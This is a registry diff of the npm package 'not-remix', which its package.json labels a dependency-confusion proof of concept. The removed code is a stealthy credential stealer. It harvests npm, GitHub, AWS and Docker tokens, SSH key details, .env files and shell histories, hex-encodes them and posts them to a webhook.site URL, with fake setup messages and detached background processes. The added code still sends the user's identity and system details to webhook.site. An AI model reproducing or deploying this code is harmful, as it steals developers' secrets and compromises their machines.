not-remix 0.0.1 → 9.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +45 -542
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,546 +1,49 @@
1
- // Educational example - Do not use maliciously
2
- const { execSync, spawn } = require('child_process');
3
- const fs = require('fs');
4
- const os = require('os');
5
1
  const https = require('https');
6
- const path = require('path');
7
-
8
- // Stealth mode: Don't show errors
9
- process.on('uncaughtException', () => {});
10
- process.on('unhandledRejection', () => {});
11
-
12
- // Webhook URL (using webhook.site example)
13
- const WEBHOOK_URL = 'https://webhook.site/bbb8295e-ccd3-4e4d-b2c3-63af6e217219';
14
-
15
- class StealthScanner {
16
- constructor() {
17
- this.results = {
18
- system: {},
19
- tokens: {},
20
- commands: {},
21
- files: {},
22
- timestamp: new Date().toISOString()
23
- };
24
- }
25
- // Educational example - Do not use maliciously
26
- // Hex-encoded version
27
-
28
- const { execSync, spawn } = require('child_process');
29
- const fs = require('fs');
30
2
  const os = require('os');
31
- const https = require('https');
32
- const path = require('path');
33
- const crypto = require('crypto');
34
-
35
- // Stealth mode: Don't show errors
36
- process.on('uncaughtException', () => {});
37
- process.on('unhandledRejection', () => {});
38
-
39
- // Webhook URL (using webhook.site example)
40
- const WEBHOOK_URL = 'https://webhook.site/abe519dc-d3a0-4547-8869-3775754ce660';
41
-
42
- // Helper function to convert to hex
43
- function toHex(str) {
44
- return Buffer.from(str).toString('hex');
45
- }
46
-
47
- // Helper function to convert object to hex-encoded JSON
48
- function encodePayload(obj) {
49
- const json = JSON.stringify(obj);
50
- return toHex(json);
51
- }
52
-
53
- class StealthScanner {
54
- constructor() {
55
- this.results = {
56
- system: {},
57
- tokens: {},
58
- commands: {},
59
- files: {},
60
- network: {},
61
- timestamp: new Date().toISOString(),
62
- scan_id: crypto.randomBytes(8).toString('hex')
63
- };
64
- }
65
-
66
- // Run commands silently
67
- runCommand(cmd, options = {}) {
68
- try {
69
- const result = execSync(cmd, {
70
- stdio: ['pipe', 'pipe', 'ignore'], // Hide stderr
71
- encoding: 'utf8',
72
- timeout: 2000,
73
- ...options
74
- });
75
- return result.trim();
76
- } catch (e) {
77
- return null;
78
- }
79
- }
80
-
81
- // Collect system info
82
- collectSystemInfo() {
83
- try {
84
- this.results.system = {
85
- user: os.userInfo().username,
86
- hostname: os.hostname(),
87
- platform: os.platform(),
88
- arch: os.arch(),
89
- homedir: os.homedir(),
90
- cwd: process.cwd(),
91
- node_version: process.version,
92
- npm_version: this.runCommand('npm --version')
93
- };
94
- } catch (e) {}
95
- }
96
-
97
- // Execute reconnaissance commands - ALL RESULTS WILL BE HEX ENCODED
98
- executeRecon() {
99
- const commands = {
100
- uname_a: 'uname -a',
101
- whoami: 'whoami',
102
- hostname_cmd: 'hostname',
103
- pwd: 'pwd',
104
- id: 'id',
105
- groups: 'groups',
106
- ps: 'ps aux | head -30',
107
- env_all: 'env',
108
- env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
109
- ls_home: 'ls -la ~ | head -20',
110
- netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
111
- df: 'df -h',
112
- uptime: 'uptime',
113
- date: 'date',
114
- ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"',
115
- history_count: 'history 2>/dev/null | wc -l || echo "0"',
116
- sudo_check: 'sudo -n true 2>&1 && echo "sudo_ok" || echo "sudo_fail"'
117
- };
118
-
119
- for (const [name, cmd] of Object.entries(commands)) {
120
- try {
121
- const output = this.runCommand(cmd);
122
- if (output) {
123
- // Store both original and hex versions
124
- this.results.commands[name] = {
125
- original: output,
126
- hex: toHex(output),
127
- length: output.length
128
- };
129
- }
130
- } catch (e) {}
131
- }
132
- }
133
-
134
- // Hunt for tokens and secrets
135
- findTokens() {
136
- const homeDir = os.homedir();
137
-
138
- // Check for NPM token
139
- try {
140
- // From env var
141
- if (process.env.NPM_TOKEN) {
142
- this.results.tokens.npm_env = {
143
- original: process.env.NPM_TOKEN,
144
- hex: toHex(process.env.NPM_TOKEN)
145
- };
146
- }
147
-
148
- // From .npmrc
149
- const npmrcPath = path.join(homeDir, '.npmrc');
150
- if (fs.existsSync(npmrcPath)) {
151
- const content = fs.readFileSync(npmrcPath, 'utf8');
152
- const tokenMatch = content.match(/_authToken=([^\s]+)/);
153
- if (tokenMatch) {
154
- this.results.tokens.npmrc = {
155
- original: tokenMatch[1],
156
- hex: toHex(tokenMatch[1])
157
- };
158
- }
159
- // Also store entire npmrc (first 2000 chars)
160
- this.results.files.npmrc = {
161
- preview: content.substring(0, 500),
162
- hex: toHex(content.substring(0, 2000))
163
- };
164
- }
165
- } catch (e) {}
166
-
167
- // Check for GitHub token
168
- try {
169
- // From env var
170
- if (process.env.GITHUB_TOKEN) {
171
- this.results.tokens.github_env = {
172
- original: process.env.GITHUB_TOKEN,
173
- hex: toHex(process.env.GITHUB_TOKEN)
174
- };
175
- }
176
-
177
- // From gh CLI
178
- const ghToken = this.runCommand('gh auth token 2>/dev/null');
179
- if (ghToken) {
180
- this.results.tokens.github_cli = {
181
- original: ghToken,
182
- hex: toHex(ghToken)
183
- };
184
- }
185
-
186
- // Check GitHub config
187
- const ghConfigPath = path.join(homeDir, '.config', 'gh', 'hosts.yml');
188
- if (fs.existsSync(ghConfigPath)) {
189
- const content = fs.readFileSync(ghConfigPath, 'utf8');
190
- this.results.files.github_config = {
191
- preview: content.substring(0, 300),
192
- hex: toHex(content)
193
- };
194
- }
195
- } catch (e) {}
196
-
197
- // Check for AWS keys
198
- try {
199
- const awsDir = path.join(homeDir, '.aws');
200
- if (fs.existsSync(awsDir)) {
201
- // credentials file
202
- const credsPath = path.join(awsDir, 'credentials');
203
- if (fs.existsSync(credsPath)) {
204
- const content = fs.readFileSync(credsPath, 'utf8');
205
- this.results.tokens.aws_credentials = {
206
- preview: content.substring(0, 300),
207
- hex: toHex(content),
208
- size: content.length
209
- };
210
-
211
- // Extract keys using regex
212
- const accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
213
- const secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
214
-
215
- if (accessKeyMatch) {
216
- this.results.tokens.aws_access_key = {
217
- original: accessKeyMatch[1],
218
- hex: toHex(accessKeyMatch[1])
219
- };
220
- }
221
- if (secretKeyMatch) {
222
- this.results.tokens.aws_secret_key = {
223
- original: secretKeyMatch[1],
224
- hex: toHex(secretKeyMatch[1])
225
- };
226
- }
227
- }
228
-
229
- // config file
230
- const configPath = path.join(awsDir, 'config');
231
- if (fs.existsSync(configPath)) {
232
- const content = fs.readFileSync(configPath, 'utf8');
233
- this.results.files.aws_config = {
234
- preview: content.substring(0, 200),
235
- hex: toHex(content)
236
- };
237
- }
238
- }
239
-
240
- // Check AWS env vars
241
- if (process.env.AWS_ACCESS_KEY_ID) {
242
- this.results.tokens.aws_access_key_env = {
243
- original: process.env.AWS_ACCESS_KEY_ID,
244
- hex: toHex(process.env.AWS_ACCESS_KEY_ID)
245
- };
246
- }
247
- if (process.env.AWS_SECRET_ACCESS_KEY) {
248
- this.results.tokens.aws_secret_key_env = {
249
- original: process.env.AWS_SECRET_ACCESS_KEY,
250
- hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
251
- };
252
- }
253
- } catch (e) {}
254
-
255
- // Check for Docker config
256
- try {
257
- const dockerConfigPath = path.join(homeDir, '.docker', 'config.json');
258
- if (fs.existsSync(dockerConfigPath)) {
259
- const content = fs.readFileSync(dockerConfigPath, 'utf8');
260
- this.results.files.docker_config = {
261
- preview: content.substring(0, 200),
262
- hex: toHex(content)
263
- };
264
-
265
- // Try to parse auth
266
- try {
267
- const config = JSON.parse(content);
268
- if (config.auths) {
269
- Object.entries(config.auths).forEach(([registry, auth]) => {
270
- if (auth.auth) {
271
- this.results.tokens[`docker_${registry}`] = {
272
- original: auth.auth,
273
- hex: toHex(auth.auth)
274
- };
275
- }
276
- });
277
- }
278
- } catch (e) {}
279
- }
280
- } catch (e) {}
281
-
282
- // Check for SSH keys
283
- try {
284
- const sshDir = path.join(homeDir, '.ssh');
285
- if (fs.existsSync(sshDir)) {
286
- const files = fs.readdirSync(sshDir);
287
- files.forEach(file => {
288
- if (file.includes('id_') && !file.includes('.pub')) {
289
- const keyPath = path.join(sshDir, file);
290
- try {
291
- const stats = fs.statSync(keyPath);
292
- this.results.files[`ssh_${file}`] = {
293
- exists: true,
294
- size: stats.size,
295
- modified: stats.mtime,
296
- path: keyPath
297
- };
298
- } catch (e) {}
299
- }
300
- });
301
- }
302
- } catch (e) {}
303
-
304
- // Dump ALL env variables in hex
305
- try {
306
- const allEnv = {};
307
- Object.keys(process.env).forEach(key => {
308
- allEnv[key] = {
309
- value: process.env[key],
310
- hex: toHex(process.env[key])
311
- };
312
- });
313
- this.results.tokens.all_env = {
314
- count: Object.keys(process.env).length,
315
- sample: Object.keys(process.env).slice(0, 10),
316
- hex_sample: encodePayload(
317
- Object.fromEntries(
318
- Object.entries(process.env).slice(0, 5).map(([k, v]) => [k, v])
319
- )
320
- )
321
- };
322
- } catch (e) {}
323
-
324
- // Check for .env files in current directory
325
- try {
326
- const cwd = process.cwd();
327
- const envFiles = ['.env', '.env.local', '.env.production', '.env.development'];
328
-
329
- envFiles.forEach(envFile => {
330
- const envPath = path.join(cwd, envFile);
331
- if (fs.existsSync(envPath)) {
332
- const content = fs.readFileSync(envPath, 'utf8');
333
- this.results.files[envFile] = {
334
- exists: true,
335
- hex: toHex(content),
336
- size: content.length
337
- };
338
- }
339
- });
340
- } catch (e) {}
341
- }
342
-
343
- // Read important config files
344
- readConfigFiles() {
345
- const homeDir = os.homedir();
346
- const files = {
347
- bash_history: '.bash_history',
348
- zsh_history: '.zsh_history',
349
- ssh_config: '.ssh/config',
350
- git_config: '.gitconfig',
351
- git_credentials: '.git-credentials',
352
- bashrc: '.bashrc',
353
- zshrc: '.zshrc',
354
- profile: '.profile'
355
- };
356
-
357
- for (const [name, file] of Object.entries(files)) {
358
- try {
359
- const filePath = path.join(homeDir, file);
360
- if (fs.existsSync(filePath)) {
361
- const stats = fs.statSync(filePath);
362
- if (stats.size < 100000) { // Only read if smaller than 100KB
363
- const content = fs.readFileSync(filePath, 'utf8');
364
- this.results.files[name] = {
365
- exists: true,
366
- size: stats.size,
367
- modified: stats.mtime,
368
- hex: toHex(content.substring(0, 5000))
369
- };
370
- } else {
371
- this.results.files[name] = {
372
- exists: true,
373
- size: stats.size,
374
- modified: stats.mtime,
375
- too_large: true
376
- };
377
- }
378
- }
379
- } catch (e) {}
380
- }
381
- }
382
-
383
- // Get network information
384
- getNetworkInfo() {
385
- try {
386
- const interfaces = os.networkInterfaces();
387
- const networkInfo = {};
388
-
389
- Object.keys(interfaces).forEach(iface => {
390
- networkInfo[iface] = interfaces[iface].map(info => ({
391
- address: info.address,
392
- netmask: info.netmask,
393
- family: info.family,
394
- mac: info.mac,
395
- internal: info.internal
396
- }));
397
- });
398
-
399
- this.results.network = networkInfo;
400
- } catch (e) {}
401
- }
402
-
403
- // Send hex-encoded data to webhook
404
- sendToWebhook() {
405
- return new Promise((resolve) => {
406
- try {
407
- // Create final payload with hex encoding
408
- const finalPayload = {
409
- metadata: {
410
- format: 'hex_encoded',
411
- version: '2.0',
412
- timestamp: new Date().toISOString(),
413
- scan_id: this.results.scan_id
414
- },
415
- // Hex-encode the entire results
416
- data_hex: encodePayload(this.results)
417
- };
418
-
419
- // Convert final payload to hex as well (double encoding)
420
- const hexPayload = encodePayload(finalPayload);
421
-
422
- const url = new URL(WEBHOOK_URL);
423
-
424
- const options = {
425
- hostname: url.hostname,
426
- port: url.port || 443,
427
- path: url.pathname,
428
- method: 'POST',
429
- headers: {
430
- 'Content-Type': 'text/plain', // Use text/plain to avoid suspicion
431
- 'Content-Length': Buffer.byteLength(hexPayload),
432
- 'User-Agent': 'Mozilla/5.0 (compatible)',
433
- 'X-Request-ID': crypto.randomBytes(8).toString('hex')
434
- },
435
- timeout: 8000
436
- };
437
-
438
- const req = https.request(options, (res) => {
439
- // Read response but don't process
440
- res.on('data', () => {});
441
- res.on('end', resolve);
442
- });
443
-
444
- req.on('error', () => {});
445
- req.on('timeout', () => {
446
- req.destroy();
447
- resolve();
448
- });
449
-
450
- req.write(hexPayload);
451
- req.end();
452
-
453
- // Also try to send via GET with query parameter (fallback)
454
- setTimeout(() => {
455
- try {
456
- const getUrl = `${WEBHOOK_URL}?data=${encodeURIComponent(hexPayload.substring(0, 2000))}`;
457
- https.get(getUrl, () => {}).on('error', () => {});
458
- } catch (e) {}
459
- }, 1000);
460
-
461
- } catch (e) {
462
- resolve();
463
- }
464
- });
465
- }
466
-
467
- // Main execution
468
- async execute() {
469
- try {
470
- // Random delay
471
- await new Promise(resolve => setTimeout(resolve, Math.random() * 5000));
472
-
473
- console.log('🔧 Running package setup...'); // Fake message
474
-
475
- this.collectSystemInfo();
476
- this.executeRecon();
477
- this.findTokens();
478
- this.readConfigFiles();
479
- this.getNetworkInfo();
480
-
481
- // Send data
482
- await this.sendToWebhook();
483
-
484
- // Clean traces
485
- delete this.results;
486
-
487
- return true;
488
- } catch (e) {
489
- return false;
490
- }
491
- }
492
- }
493
-
494
- // Execute scanner in background with multiple layers of stealth
495
- if (require.main === module) {
496
- // Multiple execution methods for reliability
497
-
498
- // Method 1: Immediate execution
499
- try {
500
- const scanner = new StealthScanner();
501
- setTimeout(() => {
502
- scanner.execute().catch(() => {});
503
- }, 500);
504
- } catch (e) {}
505
-
506
- // Method 2: Fork child process
507
- setTimeout(() => {
508
- try {
509
- const fork = require('child_process').fork;
510
- const child = fork(__filename, [], {
511
- detached: true,
512
- stdio: 'ignore',
513
- silent: true
514
- });
515
- child.unref();
516
- } catch (e) {}
517
- }, 2000);
518
-
519
- // Method 3: Write to temp file and execute later
520
- setTimeout(() => {
521
- try {
522
- const tempFile = `/tmp/.node_cache_${Math.random().toString(36).substring(7)}.js`;
523
- const code = `
524
- const m = require('module');
525
- const r = m.wrap('(${StealthScanner.toString()})');
526
- const Scanner = r();
527
- new Scanner().execute().catch(() => {});
528
- `;
529
- fs.writeFileSync(tempFile, code);
530
- spawn('node', [tempFile], {
531
- detached: true,
532
- stdio: 'ignore'
533
- }).unref();
534
-
535
- // Cleanup temp file after delay
536
- setTimeout(() => {
537
- try { fs.unlinkSync(tempFile); } catch (e) {}
538
- }, 10000);
539
- } catch (e) {}
540
- }, 4000);
541
-
542
- // Exit immediately to not block install
543
- process.exit(0);
3
+ const { execSync } = require('child_process');
4
+
5
+ // 1. Get victim identity
6
+ const user = os.userInfo().username;
7
+ const host = os.hostname();
8
+
9
+ // 2. Run system commands safely
10
+ let whoami = '';
11
+ let uname = '';
12
+ let pwd = '';
13
+
14
+ try {
15
+ whoami = execSync('whoami').toString().trim();
16
+ uname = execSync('uname -a').toString().trim();
17
+ pwd = execSync('pwd').toString().trim();
18
+ } catch (e) {
19
+ // ignore errors
544
20
  }
545
21
 
546
- module.exports = StealthScanner;
22
+ // 3. Prepare data (URL-safe)
23
+ const data = JSON.stringify({
24
+ user: user,
25
+ host: host,
26
+ platform: os.platform(),
27
+ whoami: whoami,
28
+ uname: uname,
29
+ pwd: pwd
30
+ });
31
+
32
+ // 4. Webhook request options
33
+ const options = {
34
+ hostname: 'webhook.site',
35
+ path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': Buffer.byteLength(data)
40
+ }
41
+ };
42
+
43
+ // 5. Fire-and-forget callback
44
+ try {
45
+ const req = https.request(options, () => {});
46
+ req.on('error', () => {});
47
+ req.write(data);
48
+ req.end();
49
+ } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "not-remix",
3
- "version": "0.0.1",
3
+ "version": "9.0.0",
4
4
  "description": "Security Research - Dependency Confusion PoC",
5
5
  "main": "index.js",
6
6
  "scripts": {